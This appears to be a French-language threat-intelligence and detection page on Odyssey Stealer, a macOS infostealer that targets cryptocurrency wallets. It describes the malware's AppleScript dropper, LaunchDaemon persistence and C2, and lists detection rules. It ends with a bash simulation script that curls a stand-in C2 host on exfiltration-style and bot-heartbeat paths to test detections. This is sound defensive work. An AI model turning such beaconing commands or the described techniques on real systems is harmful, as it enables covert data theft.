Odyssey Stealer : À l’intérieur d’une opération de vol de cryptomonnaies sur macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Odyssey Stealer est un logiciel malveillant de type infostealer pour macOS, axé sur les portefeuilles de cryptomonnaie et les extensions. Il est commercialisé comme une plateforme de Malware-as-a-Service où les affiliés louent l’accès à un C2 centralisé et un panneau d’administration. La livraison repose généralement sur un AppleScript obfusqué qui installe un LaunchDaemon persistant qui interroge le C2 pour obtenir des commandes. L’opérateur peut également remplacer les applications Ledger et Trezor légitimes par des versions trojanisées pour capturer les identifiants et les données de transaction.
Investigation
Les chercheurs ont pris l’empreinte du C2 en utilisant des balises meta HTML uniques, des signatures de page et un hash de favicon partagé. Ils ont cartographié dix hôtes physiques à travers plusieurs clusters ASN, principalement en Europe et aux Pays-Bas. L’analyse des charges utiles a révélé un dropper AppleScript en plusieurs étapes, une persistance via LaunchDaemon, et un binaire proxy SOCKS5 compilé en Go. Les données de configuration intégrées dans le dropper ont révélé des identifiants d’affiliés et des ID de compilation.
Atténuation
Surveillez les activités osascript suspectes, notamment les longues chaînes obfusquées, les fichiers plist de LaunchDaemon inconnus avec des étiquettes aléatoires, et les requêtes POST sortantes vers les points de terminaison « /log ». Alertez sur les binaires lancés par LaunchDaemon et les activités SOCKS5 suspectes. Vérifiez la signature de code pour les applications Ledger et Trezor, et bloquez les domaines et adresses IP C2 connus. Apprenez aux utilisateurs à traiter les demandes de mot de passe inattendues et les « mises à jour de portefeuille » comme étant à haut risque.
Réponse
Lors de la détection, isolez le système, terminez le LaunchDaemon malveillant, et retirez les applications de portefeuille trojanisées. Capturez le trafic réseau vers les domaines et IP C2 identifiés pour enquête, puis réinitialisez les identifiants de cryptomonnaie exposés et tournez les mots de passe macOS. Effectuez un examen médico-légal complet pour identifier des artefacts supplémentaires.
Flux d’Attaque
Détections
Archivage des Données d’Application Support sur MacOS Shell (via cmdline)
Voir
MacOS Osascript Lançant Curl (via cmdline)
Voir
MacOS Shell Écriture dans le Répertoire LaunchDaemons (via file_event)
Voir
IOC (SourceIP) pour détecter : Odyssey Stealer : Opération de vol de crypto sur macOS
Voir
IOC (DestinationIP) pour détecter : Odyssey Stealer : Opération de vol de crypto sur macOS
Voir
IOC (HashSha256) pour détecter : Odyssey Stealer : Opération de vol de crypto sur macOS
Voir
IOC (HashMd5) pour détecter : Odyssey Stealer : Opération de vol de crypto sur macOS
Voir
Détection du Point de Terminaison C2 Odyssey Stealer [Serveur Web]
Voir
Odyssey Stealer: Détection d’AppleScript Obfusqué et de l’Utilisation de Curl [Création de Processus Linux]
Voir
Exécution de Simulation
Prérequis : Le Contrôle Téléphonique & Baseline Avant Vol doit avoir réussi.
-
Narration de l’Attaque & Commandes :
Un adversaire a déployé l’Odyssey Stealer sur une station de travail macOS. Après avoir compromis l’utilisateur, le logiciel malveillant initie un balisage vers son serveur C2 pour télécharger des charges utiles supplémentaires et exfiltrer les données collectées. Le balisage utilise le binaire natifcurlbinaire (binaire Apple signé) pour émettre des requêtes HTTP GET vers les points de terminaison C2 définis dans la règle. L’attaquant choisit ces chemins URI spécifiques car ils sont courts, se fondent dans le trafic web typique et évitent la détection par les solutions de filtrage d’URL génériques.Étapes :
- Résoudre le nom d’hôte C2 (simulé comme
c2.odyssey.example.com). - Emettre une requête GET vers
/d/aff123456– imite le point de terminaison d’exfiltration de données avec un code affilié aléatoire et un jeton numérique. - Emettre une requête GET vers
/api/v1/bot/– simule le battement de gestion des bots. - Optionnellement, envoyer une requête à
/logpour émuler le trafic de journalisation interne utilisé par le logiciel malveillant pour le rapport d’état.
- Résoudre le nom d’hôte C2 (simulé comme
-
Script de Test de Régression : Le script bash suivant reproduit exactement le trafic nécessaire pour déclencher la règle de détection.
#!/usr/bin/env bash # Simulation de balisage C2 Odyssey Stealer pour la validation de détection # Exigences : curl, proxy réseau configuré selon les étapes de pré-vol C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # ajuster à votre adresse proxy Squid # Fonction pour envoyer une requête via le proxy send_request() { local path=$1 echo "[*] Envoi de la requête à https://${C2_HOST}${path} via le proxy ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}" } # 1. Point de terminaison d'exfiltration des données (affilié aléatoire + chiffres) AFFILIATE="aff$(shuf -i 1000-9999 -n 1)" DIGITS=$(shuf -i 10000-99999 -n 1) send_request "/d/${AFFILIATE}${DIGITS}" # 2. Battement de gestion des bots send_request "/api/v1/bot/" # 3. Point de terminaison de journalisation optionnel send_request "/log" echo "[+] Simulation complète. Vérifiez les alertes dans le SIEM."Enregistrez le script comme
odyssey_beacon.sh, rendez-le exécutable (chmod +x odyssey_beacon.sh), et exécutez-le sur l’hôte de test macOS. -
Commandes de Nettoyage : Supprimez tous les fichiers temporaires et désactivez éventuellement le proxy pour l’utilisateur de test.
# Désactiver les paramètres du proxy pour l'interface Wi‑Fi networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Optionnel) Arrêter Squid s'il a été démarré uniquement pour ce test # brew services stop squid echo "Paramètres du proxy restaurés et Squid arrêté (le cas échéant)."